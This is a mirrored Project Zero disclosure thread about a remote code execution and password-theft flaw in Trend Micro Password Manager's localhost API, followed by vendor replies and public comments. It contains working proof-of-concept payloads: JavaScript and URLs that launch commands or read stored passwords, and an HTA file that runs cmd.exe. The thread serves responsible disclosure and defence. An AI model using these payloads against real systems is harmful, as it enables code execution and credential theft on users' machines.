search

iwm911 / google-security-research

Automatically exported from code.google.com/p/google-security-research
0 stars 0 forks source link

TrendMicro node.js HTTP server listening on localhost can execute commands #693

Closed GoogleCodeExporter closed 8 years ago

GoogleCodeExporter commented 8 years ago 
When you install TrendMicro Antivirus on Windows, by default a component called 
Password Manager is also installed and automatically launched on startup.

http://www.trendmicro.com/us/home/products/software/password-manager/index.html

This product is primarily written in JavaScript with node.js, and opens 
multiple HTTP RPC ports for handling API requests.

It took about 30 seconds to spot one that permits arbitrary command execution, 
openUrlInDefaultBrowser, which eventually maps to ShellExecute().

This means any website can launch arbitrary commands, like this:

x = new XMLHttpRequest()
x.open("GET", 
"https://localhost:49155/api/openUrlInDefaultBrowser?url=c:/windows/system32/cal
c.exe", true);
try { x.send(); } catch (e) {};

(Note that you cannot read the response due to the same origin policy, but it 
doesn't matter - the command is still executed).

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Original issue reported on code.google.com by tav...@google.com on 5 Jan 2016 at 9:33

GoogleCodeExporter commented 8 years ago 
TrendMicro helpfully adds a self-signed https certificate for localhost to the 
trust store, so you don't need to click through any security errors.

Original comment by tav...@google.com on 5 Jan 2016 at 9:39

GoogleCodeExporter commented 8 years ago 
Response: 

Dear Tavis Ormandy,

This is Roy from Trend Micro Consumer Support. I will be your point of contact 
for the vulnerability claim that you have reported. Thank you for bringing this 
to our attention. We're now checking on the POC and let you know if we need 
more information.

Have a great day!

Original comment by tav...@google.com on 5 Jan 2016 at 10:13

GoogleCodeExporter commented 8 years ago 
A follower on twitter suggested a more direct contact at trendmicro, so I 
forwarded them the incident number and explained it was critical remote command 
execution.

Original comment by tav...@google.com on 5 Jan 2016 at 10:20

GoogleCodeExporter commented 8 years ago 
Response:

Tavis,

Thanks, I checked into what’s happening and they are currently replicating 
the issue right now. Once they’ve done that, they will create a fix, run it 
through testing, and release a patch. That’s the general flow but it will 
depend on what’s found at each stage.

I replied:

Thanks for the update Mark.

FWIW, the easiest way to repro will probably just be visiting this link on a 
machine with TrendMicro installed:

https://localhost:49155/api/openUrlInDefaultBrowser?url=c:/windows/system32/calc
.exe

Obviously an attacker would do it differently, but that should demonstrate the 
flaw reliably. I just installed version 10.0.1186 from a fresh download this 
morning.

Thanks, Tavis.

Original comment by tav...@google.com on 5 Jan 2016 at 11:47

GoogleCodeExporter commented 8 years ago 
Screenshot for reference.

Original comment by tav...@google.com on 6 Jan 2016 at 3:08

Attachments:

GoogleCodeExporter commented 8 years ago 
I was asked to forward the report to another TM employee, so did so, and added 
this:

Hey, just wanted to check if there's any update here? This is trivially 
exploitable and discoverable in the default install, and obviously wormable - 
in my opinion, you should be paging people to get this fixed.

FWIW, it's even possible to bypass MOTW, and spawn commands without any prompts 
whatsoever. An easy way to do that (tested on Windows 7), would be to 
auto-download a zip file containing an HTA file, and then invoke it like this:

https://localhost:49155/api/openUrlInDefaultBrowser?url=c:/users/blah~1/downlo~1
/test.zip/test.hta

This won't prompt with any confirmation and can run arbitrary commands, here is 
a sample hta file for you to test with:

<html>
<head>
<title>TrendMicro Exploit</title>
    <HTA:APPLICATION APPLICATIONNAME="TrendMicro Exploit"/>
    <script language="vbscript">
        Set o = CreateObject("Shell.Application")
        o.ShellExecute  "cmd.exe", "/k echo hello world", "", "", 1
    </script>
</head>
<body>
     This is a demonstrate exploit for TrendMicro Maximum Security.
</body>
</html>

Thanks, Tavis.

Original comment by tav...@google.com on 6 Jan 2016 at 8:18

GoogleCodeExporter commented 8 years ago 
Response:

Hi Tavis,

Our product team informed us that they were able to create a solution and 
improvement plan regarding the reported vulnerability.
They are already in discussion with stakeholders regarding the emergency 
deployment of this fix.

We will inform you with updates once available.

Original comment by tav...@google.com on 6 Jan 2016 at 8:33

GoogleCodeExporter commented 8 years ago 
TrendMicro sent me a build to verify they had fixed the problem, it looks like 
they're no longer using ShellExecute, so it fixes the immediate problem of 
trivial command execution.

I'm still concerned that this component exposes nearly 70 API's (!!!!) to the 
internet, most of which sound pretty scary. I tell them I'm not going to 
through them, but that they need to hire a professional security consultant to 
audit it urgently.

TrendMicro email:

Hi Tavis,

Good Day!

Let me share some updates on behalf of Roy. Product Team has acknowledged the 
vulnerability claim and has created a Local Build. Can you help verify if this 
build fixes it?

In addition, we will be having product update in place to patch up this 
vulnerability so if you can provide us your feedback soon in case we need to do 
final adjustments that would be great.

Password Manager 32bit
[censored]

Password Manager 64bit
[censored]

Thanks and looking forward to your response.

My Response:

Thanks Jean, I ran this on top of a TrendMicro Maximum Security 10 
installation, and it looks like this fixes the most critical problem. Honestly, 
this thing still looks pretty fragile, I haven't looked through the dozens of 
other API's you're exposing - and some just sound really bad, look at some of 
these I noticed:

 var PORTAL_SETTINGS_API = "/api/settings";
 var PORTAL_SETTINGS_FROCE_API = "/api/settings/force";
 var TOWER_SHOW_CREATE_MASTER_PIN_PAGE_API = "/api/showCreateMasterPin";
 var TOWER_BROWSER_PASSWORD_EXPORT_API = "/api/browserPasswordExport";
 var TOWER_SESSION_KEY_API = "/api/getSessionKey";
 var TOWER_SET_PROXY_URL_API = "/api/setProxyURL";
 var TOWER_CLEAR_SESSION_KEY_DATA_API = "/api/clearSessionKeyData";
 var TOWER_EXPORT_BROWSER_PASSWORD_API = "/api/exportBrowserPassword";
 var TOWER_EMPTY_BROWSER_PASSWORD_API = "/api/emptyBrowserPassword";
 var TOWER_CERT_PINNING_ADD_EXCEPTION_API = "/api/certPinningAddException";
 var TOWER_OPEN_URL_IN_DEFAULT_BROWSER = "/api/openUrlInDefaultBrowser";

(This is just the first few that jumped out at me as interesting from a list of 
about 70!)

I'm not planning to go through them all, but I would really suggest you get a 
professional audit of this.

Original comment by tav...@google.com on 7 Jan 2016 at 3:29

GoogleCodeExporter commented 8 years ago 
I happened to notice that the /api/showSB endpoint will spawn an ancient build 
of Chromium (version 41) with --disable-sandbox. To add insult to injury, they 
append "(Secure Browser)" to the UserAgent.

I sent a mail saying "That is the most ridiculous thing I've ever seen".

Original comment by tav...@google.com on 7 Jan 2016 at 10:52

GoogleCodeExporter commented 8 years ago 
I spent a few minutes trying to understand how the SB shell worked, and then 
realized they were just hiding the global objects. I sent this annoyed follow 
up:

This thing is ridiculous, wtf is this:

https://localhost:49155/api/showSB?url=javascript:alert(topWindow.require("child
_process").spawnSync("calc.exe"))

You were just hiding the global objects and invoking a browser shell...? ...and 
then calling it "Secure Browser"?!? The fact that you also run an old version 
with --disable-sandbox just adds insult to injury.

I don't even know what to say - how could you enable this thing *by default* on 
all your customer machines without getting an audit from a competent security 
consultant?

You need to come up with a plan for fixing this right now. Frankly, it also 
looks like you're exposing all the stored passwords to the internet, but let's 
worry about that screw up after you get the remote code execution under control.

Please confirm you understand this report.

Original comment by tav...@google.com on 8 Jan 2016 at 12:00

GoogleCodeExporter commented 8 years ago 
Screenshot for reference.

Original comment by tav...@google.com on 8 Jan 2016 at 12:23

Attachments:

GoogleCodeExporter commented 8 years ago 
Response:

Hi Tavis,

This is well noted.

We have forwarded this information you have shared with our Product Team.
Rest assured that this will be investigated thoroughly.

Original comment by tav...@google.com on 8 Jan 2016 at 12:25

GoogleCodeExporter commented 8 years ago 
I wrote a working exploit for this issue.

Original comment by tav...@google.com on 8 Jan 2016 at 1:28

Attachments:

GoogleCodeExporter commented 8 years ago 
I noticed that there is a nice clean API for accessing passwords stored in the 
password manager, so anyone can just read all of the stored passwords:

https://localhost:49155/api/showSB?url=javascript:topWindow.process.mainModule.e
xports.Tower.handle.getUserData(function(n{alert(JSON.stringify(JSON.parse(n).da
ta.passcard[0]))})

Users are prompted on installation to export their browser passwords, but 
that's optional. I think an attacker can force it with /exportBrowserPasswords 
API, so even that doesn't help. I sent an email pointing this out:

In my opinion, you should temporarily disable this feature for users and 
apologise for the temporary disruption, then hire an external consultancy to 
audit the code. In my experience dealing with security vendors, users are quite 
forgiving of mistakes if vendors act quickly to protect them once informed of a 
problem, I think the worst thing you can do is leave users exposed while you 
clean this thing up. The choice is yours, of course.

Original comment by tav...@google.com on 8 Jan 2016 at 5:21

GoogleCodeExporter commented 8 years ago 
Response:

Hi Tavis,

Product Team provided updates regarding the vulnerabilities and issues you have 
raised.
They are already reviewing APIs one by one by source code level to make sure no 
remote action is allowed.
This will also enforce source checking for critical API calls to prevent any 
future unexpected API exploit.

We would like to thank you again for continuously working with us on this case.
This new information you have provided will help with the analysis of the 
product.

I will keep you posted for any updates and also share you the local build once 
available for testing.

Best Regards,
Roy

Original comment by tav...@google.com on 8 Jan 2016 at 6:56

GoogleCodeExporter commented 8 years ago 
This was the full email I sent:

Thanks Roy.

I spent a few minutes looking into how passwords are stored if the user is 
using the password feature, or if they've exported all their browser passwords 
to Trend Micro (you're prompted to do that on installation, but it's optional 
and you can decline).

To be clear, you can get arbitrary code execution whether they're using it or 
not, but stealing all the passwords from a password manager remotely doesn't 
happen very often, so I wanted to document that.

This will get you all the encrypted passwords, for example, this will show the 
domain of the first encrypted password:

https://localhost:49155/api/showSB?url=javascript:topWindow.process.mainModule.e
xports.Tower.handle.getUserData(function(n){alert(JSON.parse(n).data.passcard[0]
.Domain)})'

Then you can use the decryptString API to decrypt all the strings, and then 
POST them somewhere else.

So this means, anyone on the internet can steal all of your passwords 
completely silently, as well as execute arbitrary code with zero user 
interaction. I really hope the gravity of this is clear to you, because I'm 
astonished about this.

In my opinion, you should temporarily disable this feature for users and 
apologise for the temporary disruption, then hire an external consultancy to 
audit the code. In my experience dealing with security vendors, users are quite 
forgiving of mistakes if vendors act quickly to protect them once informed of a 
problem, I think the worst thing you can do is leave users exposed while you 
clean this thing up. The choice is yours, of course.

Tavis.

Original comment by tav...@google.com on 8 Jan 2016 at 7:01

GoogleCodeExporter commented 8 years ago 
Update from TM:

Hello Tavis,

We have an update from our product development team, including a local test 
build that we would like to respectfully ask for your help in helping us to 
test and validate.
The local test builds of Password Manager (32- and 64-bit versions) can be 
downloaded from:

[censored]

Our team has focused the priority on mitigating the most urgent remote exploits 
first, but is continuing to work on addressing all issues reported.
This build addresses the following critical issues:
1.       showSB

·         The original API has been patched to prevent remote commands

·         This is in reference to the example you provided us earlier:  
https://localhost:49155/api/showSB?url=javascript:topWindow.process.mainModule.e
xports.Tower.handle.getUserData(function(n){alert(JSON.parse(n).data.passcard[0]
.Domain)})'

2.       Password Leakage

·         By preventing remote function, it will also prevent the observed 
leakage

Please note, we are still assessing the best way to address the sandbox 
function, and are considering temporarily disabling it in a future build – 
however, since we are still assessing the impact on other core functions of the 
product, we have left it intact for now.
Based on our Product Team’s assessment, the most critical piece was patching 
the showSB exploit.
Due to this, an emergency product update will be proactively pushed to our 
customers to patch the specific showSB issue – ETA: Today/tomorrow.
Regarding the password leakage issue, we believe this will be prevented once 
the showSB issue is fixed. If in any case the encrypted passwords were somehow 
obtained before this patch, it cannot be easily decrypted since the remote API 
is not capable of getting the decryption key.
As mentioned, we are looking forward for your feedback and again appreciate 
your confidential disclosure in helping us to get this resolved as quickly as 
possible.  We will continue to work on all issues, and we would to continuing 
working with you through this.

Best Regards,

Original comment by tav...@google.com on 9 Jan 2016 at 4:52

GoogleCodeExporter commented 8 years ago 
I installed the patch they sent me, and can see they added a bunch of origin 
header checks like this:

    isRequestOriginAllowed: function(n, t, i) {
        if (n.headers.origin = n.headers.origin ? n.headers.origin.toLowerCase() : null, n.headers.origin === t) return !0;
        var r = n.headers.referer != null ? n.headers.referer : "",
        u = t + "/extensionPopOver/bho_index.html";
        return r.toLowerCase().indexOf(u.toLowerCase()) == 0 ? !0 : (i.statusCode = 401, i.end(), !1)
    }
}),

(Where the whitelisted domain is pwm.trendmicro.com).

I replied:

Thanks Jean, I installed that build on top of a fresh install of Trend Micro 
Maximum Security 10, and can see it added origin checks to some of the APIs. I 
suppose that on the condition there are no XSS bugs on pwm.trendmicro.com 
(which you should also get a professional audit of, because I bet there are 
some), the origin check will work.

I think there are still a lot of problems here, like the secure browser. But I 
agree this will help mitigate the most urgent issues.

Please let me know when the patch is being pushed to customers so I can verify 
the update is working.

Original comment by tav...@google.com on 9 Jan 2016 at 4:56

GoogleCodeExporter commented 8 years ago 
It looks like a patch is available and the issue is resolved.

Original comment by tav...@google.com on 11 Jan 2016 at 4:55

GoogleCodeExporter commented 8 years ago

Original comment by tav...@google.com on 11 Jan 2016 at 6:22

GoogleCodeExporter commented 8 years ago 
>  suppose that on the condition there are no XSS bugs on pwm.trendmicro.com 
(which you should also get a professional audit of, because I bet there are 
some), the origin check will work.

That site could certainly do with implementing X-Xss-Protection header, and a 
decent Content Security Policy.

Original comment by lukehi...@gmail.com on 11 Jan 2016 at 8:22

GoogleCodeExporter commented 8 years ago 
Building a decent Content-Security-Policy is actually not hard. To wit: 
https://github.com/paragonie/csp-builder

Original comment by kobrasre...@gmail.com on 11 Jan 2016 at 8:48

GoogleCodeExporter commented 8 years ago 
[deleted comment]
GoogleCodeExporter commented 8 years ago 
A note regarding the origin check - it is not sufficient to prevent attacks. 

While it would mitigate remote execution from across the internet, there are 
other possible vectors such as DNS poisoning, MITM attacks (or even evil chrome 
extensions) which might allow an attacker in the same network segment to serve 
code from the pwd.trendmicro.com domain. An origin check is not sufficient 
protection.

A better solution would be to digital sign requests with a certificate.

Original comment by hochbe...@gmail.com on 11 Jan 2016 at 8:57

GoogleCodeExporter commented 8 years ago 
If I understand what it's doing, isRequestOriginAllowed() relies on the 
client-supplied Referer and Origin headers, which are trivially spoofable with 
any non-browser HTTP client like curl or wget.  I don't see how it can be 
considered a valid patch to the vulnerability.  Am I missing something?

Original comment by adam.ha...@gmail.com on 12 Jan 2016 at 3:05

GoogleCodeExporter commented 8 years ago 
The attack vector is through JavaScript on a website visited unknowingly by a 
vulnerable user. So assuming the browser isn't compromised, checking the 
headers is fine. The webserver in question presumably is only listening on the 
loopback device/IP, so can only be connected to by the local machine.

It is true, though, that any non-sandboxed code (outside of a browser) running 
on the local machine can still trivially get all of a user's passwords. But now 
we're talking about, e.g., a trojan instead of remote code execution.

Original comment by kna...@gmail.com on 12 Jan 2016 at 3:40

GoogleCodeExporter commented 8 years ago 
@adam
I don't believe this is a concern since you'd already need to be on the local 
machine to reach the API server via curl. This is of course assuming the server 
is only listening on localhost? (I'm assuming it is, or I imagine this issue 
would have been raised earlier...) Though I supposed it could be used for 
privelege escalation?

Original comment by shorte...@gmail.com on 12 Jan 2016 at 3:40

GoogleCodeExporter commented 8 years ago 
if your using an "anti-virus" product; then your doing it wrong...😜

Original comment by sea.urchin.bot on 12 Jan 2016 at 4:20

GoogleCodeExporter commented 8 years ago 
[deleted comment]
GoogleCodeExporter commented 8 years ago 
@sea.urchi.bot
If you are using Windoze, you're doing it wrong

Original comment by Prabhaka...@gmail.com on 12 Jan 2016 at 9:38

GoogleCodeExporter commented 8 years ago 
The header checks are not sufficient to stop this attack. Any header can be 
spoofed via a PDF executed through the adobe reader plugin inside a browser. 
The PDF can send the request with abitrary headers, but I think it cannot read 
the response.

Original comment by slek...@google.com on 12 Jan 2016 at 11:33

GoogleCodeExporter commented 8 years ago 
#31 - perhaps file a new issue and delete this comment? You seem to have just 
disclosed a vulnerability...

Original comment by phistuck on 12 Jan 2016 at 2:21

GoogleCodeExporter commented 8 years ago 
#31 Even Origin? That sounds interesting, thanks for the hint, I'll investigate.

Original comment by tav...@google.com on 12 Jan 2016 at 4:54

GoogleCodeExporter commented 8 years ago 
all headers, including Referral and Origin headers can be spoofed, not just in 
MiTM cases (since not deploying HSTS, same network execution is easy), but by 
using PDF execution & some older Adobe Flash versions. also the domain should 
contain an X-XSS-Protection, a non-content-spoofing headers and an HSTS (which 
could simply be beaten using sites like LetsEncrypt), non the less, they shall 
minimize the risk.

Original comment by habte.yi...@gmail.com on 12 Jan 2016 at 9:04

GoogleCodeExporter commented 8 years ago 
[deleted comment]
GoogleCodeExporter commented 8 years ago 
#31, #34 - could you provide more details about that spoofing technique?

Original comment by kacper.kwapisz on 12 Jan 2016 at 9:38

GoogleCodeExporter commented 8 years ago 
The bigger question is probably should anti virus software be running 
application servers?

Original comment by warn...@gmail.com on 12 Jan 2016 at 9:59

GoogleCodeExporter commented 8 years ago 
this is "fixed" after filtering by origin?
announce a /32 route marked no-export within an AS you gain control of, jack 
Trend Micro's host, continue raping. their access needs to be authenticated by 
a client certificate only they control or this isn't resolved.

Original comment by glutt...@gmail.com on 12 Jan 2016 at 10:10

GoogleCodeExporter commented 8 years ago 
[deleted comment]
GoogleCodeExporter commented 8 years ago 
Okay, you proved they're clowns and don't care about their users.  My vote is 
to expose them, for the sake of the users running their awful software!

Original comment by davidesp...@google.com on 12 Jan 2016 at 11:18

GoogleCodeExporter commented 8 years ago 
[deleted comment]
GoogleCodeExporter commented 8 years ago 
Why can I see this? A friend linked me to this page. I am not affiliated with 
either Google Security or Trend Micro. The first message in the thread says 
"This bug is subject to a 90 day disclosure deadline" but only 7 days have 
elapsed since Jan 5. Is this now intentionally being exposed to the public?

Original comment by nic.wal...@pulseenergy.com on 12 Jan 2016 at 11:37

GoogleCodeExporter commented 8 years ago 
#42 Yes, a patch has been issued so this bug is considered resolved.

Thank you for the comments, but as this bug is receiving some attention I'm 
closing comments for now.

Original comment by tav...@google.com on 12 Jan 2016 at 11:45